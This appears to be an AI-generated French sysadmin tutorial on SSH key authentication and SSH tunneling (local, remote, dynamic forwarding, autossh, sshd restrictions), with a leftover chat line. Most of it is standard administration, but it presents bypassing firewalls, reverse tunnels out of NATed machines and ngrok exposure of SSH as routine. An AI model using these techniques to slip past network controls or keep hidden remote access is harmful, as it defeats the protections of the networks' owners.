- Clé publique (partageable, sur le serveur)
- Ed25519 = meilleur algorithme en 2024

**2. Authentification SSH**
- Par clé > Par mot de passe (sécurité)
- Passphrase sur la clé = double protection
- ssh-agent = commodité + sécurité

**3. Configuration sshd**
- PasswordAuthentication no = Force les clés
- PermitRootLogin no = Désactive root direct
- AllowUsers = Whitelist d'utilisateurs

**4. Permissions critiques**
- ~/.ssh/ = 700 (drwx------)
- ~/.ssh/authorized_keys = 600 (-rw-------)
- Clé privée = 600 (-rw-------)

**5. Fichier config client**
- Simplifie les connexions (alias)
- Configuration par serveur
- Options globales avec Host *

**6. Troubleshooting**
- Logs : /var/log/auth.log (Debian) ou /var/log/secure (RedHat)
- Test config : sudo sshd -t
- Verbose : ssh -vvv

---

### [RAPIDE] POUR ALLER PLUS LOIN

**1. Plusieurs clés pour différents serveurs**

```bash
# Générer une clé par serveur
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519_prod -C "prod@example.com"
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519_dev -C "dev@example.com"

# Dans ~/.ssh/config :
Host prod
    IdentityFile ~/.ssh/id_ed25519_prod

Host dev
    IdentityFile ~/.ssh/id_ed25519_dev
```

---

**2. Clés SSH avec expiration (via certificats SSH)**

```bash
# Générer un certificat SSH valide 30 jours
ssh-keygen -s ca_key -I user_cert -V +30d -n username id_ed25519.pub
```

---

**3. SSHFS (monter un système de fichiers distant)**

```bash
sudo apt install sshfs -y

# Monter le home directory du serveur localement
sshfs username@192.168.1.100:/home/username ~/remote-home

# Démonter
fusermount -u ~/remote-home
```

---

**4. SCP et rsync via SSH**

```bash
# Copier un fichier vers le serveur
scp fichier.txt username@192.168.1.100:/tmp/

# Copier un dossier récursivement
scp -r dossier/ username@192.168.1.100:/tmp/

# rsync (synchronisation, plus efficace)
rsync -avz --progress dossier/ username@192.168.1.100:/backup/
```

---

**5. Multiplexing SSH (réutiliser les connexions)**

**Dans `~/.ssh/config` :**

```
Host *
    ControlMaster auto
    ControlPath ~/.ssh/sockets/%r@%h-%p
    ControlPersist 600
```

**Avantages :**
- Première connexion = Établit le tunnel
- Connexions suivantes = Réutilisent le tunnel (instantanées)
- Pas de réauthentification

---

## [COURS] CONCLUSION DE L'EXERCICE 1

**[OK] Félicitations ! Tu maîtrises maintenant l'authentification SSH par clé !**

**Ce que tu as appris :**
- Installer OpenSSH Server
- Générer une paire de clés SSH (Ed25519)
- Comprendre la cryptographie asymétrique
- Copier une clé publique sur un serveur
- Configurer sshd_config de manière sécurisée
- Se connecter sans mot de passe
- Utiliser ssh-agent pour la commodité
- Créer un fichier config pour simplifier les connexions
- Résoudre les problèmes courants

**Compétences acquises :**
- [OK] SSH de base (niveau intermédiaire)
- [OK] Sécurité des accès distants
- [OK] Gestion des clés SSH
- [OK] Configuration client et serveur

**Temps moyen de réalisation :** 1-2 heures

**Prochaine étape :** Exercice 2 - Tunneling SSH et Port Forwarding ! [METRO]

---

---

(Je vais créer les exercices 2, 3, 4 et 5 dans les prochains messages pour respecter la limite de longueur. Veux-tu que je continue avec l'exercice 2 sur le Tunneling SSH ?)

# [JAUNE] EXERCICE 2 : TUNNELING SSH ET PORT FORWARDING

## [LISTE] ÉNONCÉ

### Contexte professionnel

Tu es administrateur système dans une entreprise de services numériques. L'équipe de développement a besoin d'accéder à plusieurs services internes (base de données, API, serveur web) qui ne sont accessibles que depuis le réseau local du datacenter pour des raisons de sécurité.

Ton manager te demande de mettre en place des tunnels SSH sécurisés pour permettre aux développeurs d'accéder à ces services depuis l'extérieur, sans ouvrir de ports supplémentaires sur le firewall.

### Cahier des charges

L'équipe a besoin de :
- **Accéder** à une base de données MySQL (port 3306) hébergée sur un serveur interne
- **Tester** une API REST (port 8080) en développement
- **Administrer** un serveur web interne (port 80)
- **Naviguer** sur Internet via le serveur (proxy SOCKS)
- Tout cela de manière **sécurisée** via SSH

### Objectifs techniques

- Comprendre le port forwarding (local, remote, dynamic)
- Créer des tunnels SSH persistants
- Accéder à des services distants comme s'ils étaient locaux
- Utiliser SSH comme proxy SOCKS
- Mettre en place des tunnels automatiques au démarrage

### Architecture

```
[Poste Dev] ──SSH Tunnel──> [Serveur Bastion] ──Réseau Local──> [Services Internes]
   (Toi)                     (192.168.1.100)                     MySQL: 192.168.1.50:3306
                                                                  API: 192.168.1.51:8080
                                                                  Web: 192.168.1.52:80
```

### Contraintes

- SSH déjà configuré avec clés (Exercice 1)
- Pas d'ouverture de ports supplémentaires
- Tunnels doivent être faciles à utiliser
- Documentation pour l'équipe
- Temps estimé : 2-3 heures

---

## [OBJECTIF] OBJECTIFS PÉDAGOGIQUES

À la fin de cet exercice, tu sauras :

- [OK] Comprendre les 3 types de port forwarding SSH
- [OK] Créer un tunnel SSH local (local port forwarding)
- [OK] Créer un tunnel SSH distant (remote port forwarding)
- [OK] Créer un proxy SOCKS dynamique (dynamic port forwarding)
- [OK] Accéder à des services distants via tunnels
- [OK] Automatiser les tunnels avec autossh
- [OK] Sécuriser et monitorer les tunnels
- [OK] Déboguer les problèmes de tunneling

---

## [DOCS] PRÉREQUIS

- Exercice 1 terminé (connexion SSH par clé)
- Serveur SSH accessible (serveur bastion)
- Connaissance des ports et protocoles réseau
- Services de test disponibles (ou simulés)

---

## [OK] SOLUTION COMPLÈTE

### ÉTAPE 1 : Comprendre le Port Forwarding SSH

**Avant de pratiquer, comprenons les concepts.**

#### Les 3 types de Port Forwarding

SSH offre 3 types de tunneling :

1. **Local Port Forwarding** (tunnel local)
2. **Remote Port Forwarding** (tunnel distant)
3. **Dynamic Port Forwarding** (proxy SOCKS)

Voyons chacun en détail.

---

#### 1. LOCAL PORT FORWARDING (Tunnel Local)

**Scénario :** Tu veux accéder à un service distant comme s'il était sur ton PC.

**Exemple concret :** MySQL sur un serveur interne (192.168.1.50:3306)

**Schéma :**

```
┌─────────────────┐         SSH Tunnel          ┌─────────────────┐         ┌─────────────────┐
│   TON PC        │ ═══════════════════════════> │ SERVEUR BASTION │ ──────> │ SERVEUR MYSQL   │
│   localhost     │                              │  192.168.1.100  │         │  192.168.1.50   │
│                 │                              │                 │         │                 │
│  Port 3306      │                              │                 │         │  Port 3306      │
│  (local)        │                              │                 │         │  (distant)      │
└─────────────────┘                              └─────────────────┘         └─────────────────┘
```

**Commande :**

```bash
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
```

**Explication :**

```
ssh -L [PORT_LOCAL]:[HOST_DESTINATION]:[PORT_DESTINATION] [USER]@[SERVEUR_SSH]
```

- `-L` = Local port forwarding
- `3306` = Port local (sur TON PC)
- `192.168.1.50` = Serveur de destination (vu depuis le serveur SSH)
- `3306` = Port de destination
- `user@192.168.1.100` = Serveur SSH (bastion)

**Résultat :**

Une fois connecté, tu peux accéder à MySQL comme s'il était local :

```bash
mysql -h 127.0.0.1 -P 3306 -u root -p
```

Le trafic passe par le tunnel SSH chiffré ! [VERROUILLE]

---

**Syntaxe complète :**

```
-L [BIND_ADDRESS:]PORT_LOCAL:HOST_DESTINATION:PORT_DESTINATION
```

**Exemples :**

```bash
# Port local 8080 -> serveur web distant (192.168.1.52:80)
ssh -L 8080:192.168.1.52:80 user@192.168.1.100

# Accès : http://localhost:8080

# Bind seulement sur localhost (sécurité)
ssh -L 127.0.0.1:3306:192.168.1.50:3306 user@192.168.1.100

# Bind sur toutes les interfaces (partager le tunnel)
ssh -L 0.0.0.0:3306:192.168.1.50:3306 user@192.168.1.100
```

---

#### 2. REMOTE PORT FORWARDING (Tunnel Distant)

**Scénario :** Tu veux exposer un service de TON PC vers le serveur distant.

**Exemple concret :** Serveur web local (localhost:8000) accessible depuis le serveur.

**Schéma :**

```
┌─────────────────┐         SSH Tunnel          ┌─────────────────┐
│   TON PC        │ <═══════════════════════════ │ SERVEUR BASTION │
│   localhost     │                              │  192.168.1.100  │
│                 │                              │                 │
│  Port 8000      │                              │  Port 8080      │
│  (web local)    │                              │  (exposé)       │
└─────────────────┘                              └─────────────────┘
```

**Commande :**

```bash
ssh -R 8080:localhost:8000 user@192.168.1.100
```

**Explication :**

```
ssh -R [PORT_DISTANT]:[HOST_LOCAL]:[PORT_LOCAL] [USER]@[SERVEUR_SSH]
```

- `-R` = Remote port forwarding
- `8080` = Port sur le serveur distant
- `localhost` = Hôte local (TON PC)
- `8000` = Port local

**Résultat :**

Depuis le serveur (192.168.1.100), on peut accéder à ton serveur web local :

```bash
curl http://localhost:8080
# Accède à ton serveur local (localhost:8000)
```

**Cas d'usage :**
- Démo d'une app en développement local
- Webhook vers ton environnement de dev
- Partage temporaire d'un service local

---

#### 3. DYNAMIC PORT FORWARDING (Proxy SOCKS)

**Scénario :** Tu veux router TOUT le trafic de certaines apps via SSH.

**Exemple concret :** Naviguer sur Internet via le serveur SSH.

**Schéma :**

```
┌─────────────────┐         SSH Tunnel          ┌─────────────────┐         ┌─────────────────┐
│   TON PC        │ ═══════════════════════════> │ SERVEUR BASTION │ ──────> │   INTERNET      │
│                 │                              │  192.168.1.100  │         │                 │
│  Firefox        │                              │                 │         │  google.com     │
│  (proxy SOCKS   │                              │                 │         │  github.com     │
│   localhost:1080│                              │                 │         │  ...            │
└─────────────────┘                              └─────────────────┘         └─────────────────┘
```

**Commande :**

```bash
ssh -D 1080 user@192.168.1.100
```

**Explication :**

```
ssh -D [PORT_LOCAL] [USER]@[SERVEUR_SSH]
```

- `-D` = Dynamic port forwarding
- `1080` = Port local du proxy SOCKS

**Résultat :**

Un proxy SOCKS5 est créé sur localhost:1080.

Configure ton navigateur ou app pour utiliser ce proxy :

```
Type: SOCKS5
Host: 127.0.0.1
Port: 1080
```

**Tout le trafic passe par le serveur SSH !**

**Cas d'usage :**
- Contourner un firewall restrictif
- Chiffrer son trafic web (public WiFi)
- Accéder à des ressources géo-bloquées
- Naviguer via un serveur spécifique

---

### ÉTAPE 2 : Préparer l'environnement de test

**Pour suivre cet exercice, nous allons simuler plusieurs services.**

**Sur le SERVEUR (192.168.1.100), créer des services de test :**

---

#### Service 1 : Serveur Web simple (port 8080)

```bash
# Créer un serveur web Python simple
cat > ~/webserver.py <<'EOF'
#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler
import json

class CustomHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/api/status':
            self.send_response(200)
            self.send_header('Content-type', 'application/json')
            self.end_headers()
            response = {
                'status': 'OK',
                'service': 'Internal API',
                'server': 'Backend-1'
            }
            self.wfile.write(json.dumps(response).encode())
        else:
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            html = '''
            <html>
            <head><title>Service Interne</title></head>
            <body>
                <h1>[VERROUILLE] Service Interne</h1>
                <p>Ce serveur n'est accessible que via le réseau local.</p>
                <p>Vous y accédez via un tunnel SSH sécurisé.</p>
            </body>
            </html>
            '''
            self.wfile.write(html.encode())

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 8080), CustomHandler)
    print('[INFO] Serveur web démarré sur http://0.0.0.0:8080')
    server.serve_forever()
EOF

chmod +x ~/webserver.py
```

**Lancer le serveur :**

```bash
python3 ~/webserver.py &
```

**Test local (sur le serveur) :**

```bash
curl http://localhost:8080
```

**Résultat attendu :** Page HTML affichée [OK]

---

#### Service 2 : Base de données MySQL (port 3306)

**Si MySQL n'est pas installé :**

```bash
sudo apt update
sudo apt install mysql-server -y
```

---

**Sécuriser MySQL :**

```bash
sudo mysql_secure_installation
```

**Répondre aux questions (voir Exercice Apache 3).**

---

**Créer un utilisateur de test :**

```bash
sudo mysql -u root -p
```

**Dans le prompt MySQL :**

```sql
CREATE USER 'testuser'@'localhost' IDENTIFIED BY 'TestPassword123!';
CREATE DATABASE testdb;
GRANT ALL PRIVILEGES ON testdb.* TO 'testuser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
```

---

**Créer une table de test :**

```bash
mysql -u testuser -p testdb
# Mot de passe: TestPassword123!
```

```sql
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50),
    email VARCHAR(100)
);

INSERT INTO users (username, email) VALUES
('alice', 'alice@example.com'),
('bob', 'bob@example.com'),
('charlie', 'charlie@example.com');

SELECT * FROM users;
EXIT;
```

---

**Test local (sur le serveur) :**

```bash
mysql -h 127.0.0.1 -P 3306 -u testuser -p -e "SELECT * FROM testdb.users;"
```

**Résultat attendu :** Les 3 utilisateurs affichés [OK]

---

### ÉTAPE 3 : Local Port Forwarding - Accéder à MySQL

**Retour sur TON PC (client).**

#### Scénario

Tu veux accéder à MySQL (192.168.1.100:3306) depuis ton PC comme si MySQL était local.

---

#### Créer le tunnel SSH

```bash
ssh -L 3306:localhost:3306 user@192.168.1.100
```

**Explication détaillée :**

```
ssh -L 3306:localhost:3306 user@192.168.1.100
        │    │         │
        │    │         └─ Port de destination (MySQL sur le serveur)
        │    └─────────── Host de destination (vu depuis le serveur SSH)
        └──────────────── Port local (sur TON PC)
```

**Point important :**

`localhost` dans la commande fait référence au **serveur SSH**, pas à ton PC.

Si MySQL était sur un autre serveur (ex: 192.168.1.50), tu écrirais :

```bash
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
```

---

**La session SSH reste ouverte. Ne la ferme PAS (le tunnel est actif tant que la session est ouverte).**

---

#### Tester l'accès à MySQL via le tunnel

**Ouvrir une NOUVELLE fenêtre terminal (sur TON PC).**

**Installer le client MySQL si nécessaire :**

```bash
sudo apt install mysql-client -y
```

---

**Se connecter à MySQL via le tunnel :**

```bash
mysql -h 127.0.0.1 -P 3306 -u testuser -p
# Mot de passe: TestPassword123!
```

**Explication :**

- `-h 127.0.0.1` = Se connecter à localhost (TON PC)
- `-P 3306` = Port 3306 (port local du tunnel)
- Le tunnel SSH redirige vers le serveur distant

---

**Dans le prompt MySQL :**

```sql
USE testdb;
SELECT * FROM users;
```

**Résultat :**

```
+----+----------+---------------------+
| id | username | email               |
+----+----------+---------------------+
|  1 | alice    | alice@example.com   |
|  2 | bob      | bob@example.com     |
|  3 | charlie  | charlie@example.com |
+----+----------+---------------------+
```

**[BRAVO] Tu accèdes à MySQL distant comme s'il était local ! [BRAVO]**

---

**Quitter MySQL :**

```sql
EXIT;
```

---

#### Mettre le tunnel en arrière-plan

**Fermer la première fenêtre terminal ferme le tunnel !**

**Pour garder le tunnel actif en arrière-plan :**

```bash
ssh -fNL 3306:localhost:3306 user@192.168.1.100
```

**Nouvelles options :**

**`-f`** = Fork to background (passer en arrière-plan)
- SSH se met en arrière-plan APRÈS la connexion
- Libère le terminal

**`-N`** = No command (ne pas exécuter de commande)
- Ne pas ouvrir de shell distant
- Utile quand on veut SEULEMENT le tunnel

---

**Vérifier que le tunnel est actif :**

```bash
ps aux | grep "ssh -fNL"
```

**Résultat :**

```
user  12345  0.0  0.1  ssh -fNL 3306:localhost:3306 user@192.168.1.100
```

---

**Tester l'accès MySQL (toujours fonctionnel) :**

```bash
mysql -h 127.0.0.1 -P 3306 -u testuser -p -e "SELECT COUNT(*) FROM testdb.users;"
```

**Résultat :**

```
+----------+
| COUNT(*) |
+----------+
|        3 |
+----------+
```

**[OK] Le tunnel fonctionne en arrière-plan !**

---

**Fermer le tunnel :**

```bash
# Trouver le PID du processus SSH
ps aux | grep "ssh -fNL"

# Tuer le processus
kill 12345  # Remplacer par le vrai PID
```

---

### ÉTAPE 4 : Local Port Forwarding - Accéder au serveur web

#### Créer le tunnel

```bash
ssh -fNL 8080:localhost:8080 user@192.168.1.100
```

**Le serveur web distant (port 8080) est maintenant accessible sur localhost:8080.**

---

#### Tester dans le navigateur

**Ouvrir :**

```
http://localhost:8080
```

**Tu devrais voir :**

```
[VERROUILLE] Service Interne

Ce serveur n'est accessible que via le réseau local.
Vous y accédez via un tunnel SSH sécurisé.
```

---

**Tester l'API :**

```bash
curl http://localhost:8080/api/status
```

**Résultat :**

```json
{
  "status": "OK",
  "service": "Internal API",
  "server": "Backend-1"
}
```

**[OK] L'API distante est accessible localement via le tunnel !**

---

### ÉTAPE 5 : Remote Port Forwarding - Exposer un service local

#### Scénario

Tu développes une API REST localement (port 5000) et tu veux la montrer à un collègue qui a accès au serveur mais pas à ton PC.

---

#### Créer un serveur web local (sur TON PC)

```bash
# Créer un serveur Flask simple
cat > app.py <<'EOF'
from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/')
def index():
    return '<h1>API Locale en Développement</h1><p>Accessible via tunnel SSH reverse.</p>'

@app.route('/api/version')
def version():
    return jsonify({
        'version': '1.0.0',
        'environment': 'development',
        'message': 'Hello from local dev!'
    })

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)
EOF
```

---

**Installer Flask si nécessaire :**

```bash
pip3 install flask
```

---

**Lancer le serveur local :**

```bash
python3 app.py &
```

**Résultat :**

```
 * Running on http://127.0.0.1:5000
```

---

**Tester localement :**

```bash
curl http://localhost:5000/api/version
```

**Résultat :**

```json
{
  "version": "1.0.0",
  "environment": "development",
  "message": "Hello from local dev!"
}
```

---

#### Créer le tunnel SSH reverse

```bash
ssh -R 8090:localhost:5000 user@192.168.1.100
```

**Explication :**

```
ssh -R 8090:localhost:5000 user@192.168.1.100
        │    │         │
        │    │         └─ Port local (ton serveur Flask)
        │    └─────────── Host local (TON PC)
        └──────────────── Port distant (sur le serveur SSH)
```

**Le serveur SSH (192.168.1.100) écoute maintenant sur le port 8090.**

**Tout le trafic vers 192.168.1.100:8090 est redirigé vers TON PC (localhost:5000).**

---

#### Tester depuis le serveur

**Dans la session SSH (sur le serveur) :**

```bash
curl http://localhost:8090/api/version
```

**Résultat :**

```json
{
  "version": "1.0.0",
  "environment": "development",
  "message": "Hello from local dev!"
}
```

**[BRAVO] Le serveur accède à ton API locale ! [BRAVO]**

---

#### Autoriser les connexions externes (optionnel)

**Par défaut, le port distant (8090) n'écoute que sur localhost du serveur.**

**Pour permettre à d'autres machines d'y accéder, modifier `/etc/ssh/sshd_config` sur le SERVEUR :**

```bash
sudo nano /etc/ssh/sshd_config
```

**Ajouter/modifier :**

```
GatewayPorts yes
```

**Sauvegarde et redémarrer SSH :**

```bash
sudo systemctl restart ssh
```

---

**Recréer le tunnel :**

```bash
ssh -R 8090:localhost:5000 user@192.168.1.100
```

---

**Maintenant, depuis une autre machine du réseau :**

```bash
curl http://192.168.1.100:8090/api/version
```

**[OK] L'API locale est accessible depuis le réseau distant !**

---

**[ATTENTION] Attention : Risque de sécurité !**

**Avec `GatewayPorts yes`, N'IMPORTE QUI sur le réseau peut accéder au port.**

**Mieux vaut restreindre avec un firewall :**

```bash
sudo ufw allow from 192.168.1.0/24 to any port 8090
```

---

### ÉTAPE 6 : Dynamic Port Forwarding - Proxy SOCKS

#### Scénario

Tu veux naviguer sur Internet en passant par le serveur SSH (chiffrer le trafic, changer d'IP, etc.).

---

#### Créer le proxy SOCKS

```bash
ssh -D 1080 user@192.168.1.100
```

**Explication :**

```
ssh -D 1080 user@192.168.1.100
       │
       └─ Port local du proxy SOCKS5
```

**Un proxy SOCKS5 écoute maintenant sur localhost:1080.**

**Toutes les apps configurées pour utiliser ce proxy passeront par le serveur SSH.**

---

#### Configurer Firefox pour utiliser le proxy

**1. Ouvrir Firefox**

**2. Aller dans Paramètres**

**3. Chercher "Proxy"**

**4. Cliquer sur "Paramètres..."**

**5. Sélectionner "Configuration manuelle du proxy"**

**6. Remplir :**

```
Hôte SOCKS: 127.0.0.1
Port: 1080
```

**7. Cocher "SOCKS v5"**

**8. Cocher "DNS via le proxy SOCKS"**

**Important : "DNS via proxy" évite les fuites DNS !**

**9. Cliquer "OK"**

---

#### Tester le proxy

**Visiter :**

```
https://ifconfig.me
```

**Résultat : L'IP affichée devrait être celle du SERVEUR SSH (192.168.1.100), pas la tienne !**

---

**Vérifier que le trafic est chiffré :**

Sur le serveur, monitorer les connexions :

```bash
sudo tcpdump -i any port 1080
```

**Depuis Firefox, naviguer sur un site.**

**Tu verras le trafic chiffré (SSH) sur le port 22, pas sur le port 1080.**

---

#### Utiliser curl avec le proxy SOCKS

```bash
curl --socks5 127.0.0.1:1080 https://ifconfig.me
```

**Résultat : IP du serveur SSH**

---

#### Mettre le proxy SOCKS en arrière-plan

```bash
ssh -fND 1080 user@192.168.1.100
```

**Le proxy tourne en arrière-plan.**

---

**Fermer le proxy :**

```bash
ps aux | grep "ssh -fND"
kill [PID]
```

---

### ÉTAPE 7 : Tunnels multiples et configuration avancée

#### Créer plusieurs tunnels en une commande

```bash
ssh -L 3306:localhost:3306 \
    -L 8080:localhost:8080 \
    -L 5432:192.168.1.60:5432 \
    -D 1080 \
    user@192.168.1.100
```

**Explication :**

- Tunnel local MySQL (port 3306)
- Tunnel local Web (port 8080)
- Tunnel local PostgreSQL (192.168.1.60:5432)
- Proxy SOCKS (port 1080)

**Tout en UNE seule connexion SSH !**

---

#### Configuration dans ~/.ssh/config

**Pour simplifier, ajouter dans `~/.ssh/config` :**

```bash
nano ~/.ssh/config
```

**Contenu :**

```bash
# ═══════════════════════════════════════════════════════════════
# TUNNELS SSH PRÉDÉFINIS
# ═══════════════════════════════════════════════════════════════

Host bastion
    HostName 192.168.1.100
    User admin
    IdentityFile ~/.ssh/id_ed25519
    
    # Tunnels persistants
    LocalForward 3306 localhost:3306
    LocalForward 8080 localhost:8080
    LocalForward 5432 192.168.1.60:5432
    DynamicForward 1080
    
    # Options de stabilité
    ServerAliveInterval 60
    ServerAliveCountMax 3
    
    # Compression (utile sur connexions lentes)
    Compression yes

# ───────────────────────────────────────────────────────────────
# TUNNEL MYSQL UNIQUEMENT
# ───────────────────────────────────────────────────────────────

Host mysql-tunnel
    HostName 192.168.1.100
    User admin
    IdentityFile ~/.ssh/id_ed25519
    LocalForward 3306 localhost:3306
    # Pas de shell distant (tunnel uniquement)
    RequestTTY no

# ───────────────────────────────────────────────────────────────
# PROXY SOCKS UNIQUEMENT
# ───────────────────────────────────────────────────────────────

Host socks-proxy
    HostName 192.168.1.100
    User admin
    IdentityFile ~/.ssh/id_ed25519
    DynamicForward 1080
    RequestTTY no
```

**Sauvegarde.**

---

**Utilisation simplifiée :**

```bash
# Tous les tunnels
ssh bastion

# MySQL uniquement
ssh -fN mysql-tunnel

# Proxy SOCKS uniquement
ssh -fN socks-proxy
```

**[BRAVO] Ultra simplifié ! [BRAVO]**

---

### ÉTAPE 8 : Automatiser les tunnels avec autossh

**autossh** = Wrapper SSH qui relance automatiquement les tunnels en cas de déconnexion.

**Très utile pour des tunnels persistants !**

---

#### Installer autossh

```bash
sudo apt install autossh -y
```

---

#### Créer un tunnel persistant avec autossh

```bash
autossh -M 0 -f -N -L 3306:localhost:3306 user@192.168.1.100
```

**Explication des options :**

**`-M 0`** = Port de monitoring (0 = désactivé, utilise ServerAliveInterval)
**`-f`** = Arrière-plan
**`-N`** = Pas de commande

**autossh surveille la connexion et la relance si elle tombe.**

---

#### Créer un service systemd pour autossh

**Plus robuste qu'un simple autossh en arrière-plan.**

```bash
sudo nano /etc/systemd/system/ssh-tunnel-mysql.service
```

**Contenu :**

```ini
[Unit]
Description=SSH Tunnel to MySQL
After=network.target

[Service]
Type=simple
User=username
ExecStart=/usr/bin/autossh -M 0 -N -o "ServerAliveInterval=60" -o "ServerAliveCountMax=3" -L 3306:localhost:3306 user@192.168.1.100
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
```

**[ATTENTION] Remplacer `username` et `user@192.168.1.100`.**

---

**Activer et démarrer le service :**

```bash
sudo systemctl daemon-reload
sudo systemctl enable ssh-tunnel-mysql.service
sudo systemctl start ssh-tunnel-mysql.service
```

---

**Vérifier le statut :**

```bash
sudo systemctl status ssh-tunnel-mysql.service
```

**Résultat :**

```
[BLACK_CIRCLE] ssh-tunnel-mysql.service - SSH Tunnel to MySQL
     Loaded: loaded (/etc/systemd/system/ssh-tunnel-mysql.service; enabled)
     Active: active (running) since ...
   Main PID: 23456 (autossh)
```

---

**Le tunnel MySQL démarre automatiquement au boot et se relance en cas de déconnexion ! [BRAVO]**

---

### ÉTAPE 9 : Sécurité et bonnes pratiques

#### Restreindre les tunnels autorisés (serveur)

**Sur le SERVEUR, éditer `/etc/ssh/sshd_config` :**

```bash
sudo nano /etc/ssh/sshd_config
```

**Ajouter :**

```bash
# Autoriser le port forwarding seulement pour certains users
Match User tunneluser
    AllowTcpForwarding yes
    X11Forwarding no
    AllowAgentForwarding no
    PermitTTY no
    ForceCommand /bin/false

# Tous les autres users : pas de forwarding
Match User *
    AllowTcpForwarding no
```

**Explication :**

- `tunneluser` peut créer des tunnels mais PAS de shell interactif
- Autres users : pas de tunneling

---

#### Limiter les ports forwardés

```bash
# Autoriser seulement certains ports de destination
PermitOpen localhost:3306 localhost:8080
```

**Seuls MySQL et le serveur web peuvent être tunnelés.**

---

#### Utiliser des restrictions par IP

```bash
# Dans /etc/ssh/sshd_config
Match Address 192.168.1.0/24
    AllowTcpForwarding yes

Match Address *
    AllowTcpForwarding no
```

**Seul le réseau 192.168.1.0/24 peut créer des tunnels.**

---

### [OK] TESTS DE VALIDATION

**1. Local Port Forwarding fonctionne**

```bash
# Créer le tunnel
ssh -fNL 3306:localhost:3306 user@192.168.1.100

# Tester MySQL
mysql -h 127.0.0.1 -P 3306 -u testuser -p -e "SELECT 1;"
```

- [ ] Connexion réussie
- [ ] Résultat : `1`

---

**2. Remote Port Forwarding fonctionne**

```bash
# Serveur local sur port 5000
python3 -m http.server 5000 &

# Tunnel reverse
ssh -R 8090:localhost:5000 user@192.168.1.100

# Sur le serveur
curl http://localhost:8090
```

- [ ] Page HTML affichée

---

**3. Proxy SOCKS fonctionne**

```bash
# Créer le proxy
ssh -fND 1080 user@192.168.1.100

# Tester avec curl
curl --socks5 127.0.0.1:1080 https://ifconfig.me
```

- [ ] IP du serveur SSH affichée

---

**4. Tunnels multiples**

```bash
ssh -L 3306:localhost:3306 -L 8080:localhost:8080 -D 1080 user@192.168.1.100
```

- [ ] MySQL accessible (localhost:3306)
- [ ] Web accessible (localhost:8080)
- [ ] Proxy SOCKS actif (localhost:1080)

---

**5. autossh relance le tunnel**

```bash
# Démarrer autossh
autossh -M 0 -f -N -L 3306:localhost:3306 user@192.168.1.100

# Tuer la connexion SSH sur le serveur
sudo pkill -f "sshd.*user"

# Attendre 10 secondes

# Tester MySQL
mysql -h 127.0.0.1 -P 3306 -u testuser -p -e "SELECT 1;"
```

- [ ] Connexion réussie (tunnel relancé automatiquement)

---

### [ROUGE] ERREURS COURANTES ET SOLUTIONS

#### Erreur 1 : bind: Address already in use

**Symptôme :**

```
bind: Address already in use
channel_setup_fwd_listener_tcpip: cannot listen to port: 3306
```

**Cause : Le port local (3306) est déjà utilisé.**

**Solutions :**

**1. Utiliser un autre port local :**

```bash
ssh -L 3307:localhost:3306 user@192.168.1.100
# Connexion : mysql -P 3307
```

---

**2. Trouver et tuer le processus qui utilise le port :**

```bash
sudo lsof -i :3306
kill [PID]
```

---

#### Erreur 2 : remote port forwarding failed for listen port

**Symptôme :**

```
Warning: remote port forwarding failed for listen port 8090
```

**Cause : Le port distant (8090) est déjà utilisé sur le serveur.**

**Solution : Utiliser un autre port ou tuer le processus.**

---

#### Erreur 3 : Connection closed by remote host

**Symptôme :**

Le tunnel se ferme après quelques minutes d'inactivité.

**Cause : Firewall/NAT timeout.**

**Solution : Keep-alive dans `~/.ssh/config` :**

```bash
Host *
    ServerAliveInterval 60
    ServerAliveCountMax 3
```

---

#### Erreur 4 : Permission denied (publickey) avec autossh

**Symptôme :**

autossh ne peut pas se connecter.

**Cause : La clé SSH n'est pas accessible (problème de permissions ou d'agent).**

**Solution :**

**Spécifier explicitement la clé :**

```bash
autossh -M 0 -f -N -i ~/.ssh/id_ed25519 -L 3306:localhost:3306 user@192.168.1.100
```

---

#### Erreur 5 : Channel open failed: administratively prohibited

**Symptôme :**

```
channel 2: open failed: administratively prohibited: open failed
```

**Cause : Le serveur SSH interdit le port forwarding.**

**Vérifier sur le serveur (`/etc/ssh/sshd_config`) :**

```bash
AllowTcpForwarding yes
```

---

### [IMPORTANT] POINTS CLÉS À RETENIR

**1. Les 3 types de tunneling**
- Local (-L) : Accéder à un service distant localement
- Remote (-R) : Exposer un service local vers le distant
- Dynamic (-D) : Proxy SOCKS pour tout le trafic

**2. Syntaxes**
```bash
ssh -L [local_port]:[remote_host]:[remote_port] user@ssh_server
ssh -R [remote_port]:[local_host]:[local_port] user@ssh_server
ssh -D [local_port] user@ssh_server
```

**3. Options utiles**
- `-f` : Arrière-plan
- `-N` : Pas de commande (tunnel uniquement)
- `-v` : Verbose (debug)

**4. Sécurité**
- Restreindre AllowTcpForwarding
- Utiliser PermitOpen pour limiter les destinations
- Ne pas exposer 0.0.0.0 (sauf si nécessaire)

**5. Persistance**
- autossh pour relancer automatiquement
- systemd pour démarrage au boot
- ServerAliveInterval pour keep-alive

---

### [RAPIDE] POUR ALLER PLUS LOIN

**1. Tunnels imbriqués (SSH over SSH)**

```bash
# Se connecter à un serveur via un bastion
ssh -J bastion@192.168.1.100 user@192.168.1.50
```

---

**2. VPN over SSH avec sshuttle**

```bash
sudo apt install sshuttle -y
sshuttle -r user@192.168.1.100 192.168.1.0/24
```

**Tout le trafic vers 192.168.1.0/24 passe par SSH !**

---

**3. Reverse SSH pour accès derrière NAT**

**Serveur public (IP fixe) :**

```bash
# Client crée un tunnel reverse
ssh -R 2222:localhost:22 user@serveur-public.com

# Depuis le serveur public, accès au client
ssh -p 2222 localhost
```

---

**4. SSH + Ngrok pour exposition Internet**

**Sur TON PC :**

```bash
ngrok tcp 22
```

**Ngrok crée une URL publique vers ton SSH !**

---

**5. Port knocking pour cacher SSH**

```bash
# Installer knockd
sudo apt install knockd -y

# Configurer une séquence de ports
# Ex: 7000, 8000, 9000 pour ouvrir SSH
```

---

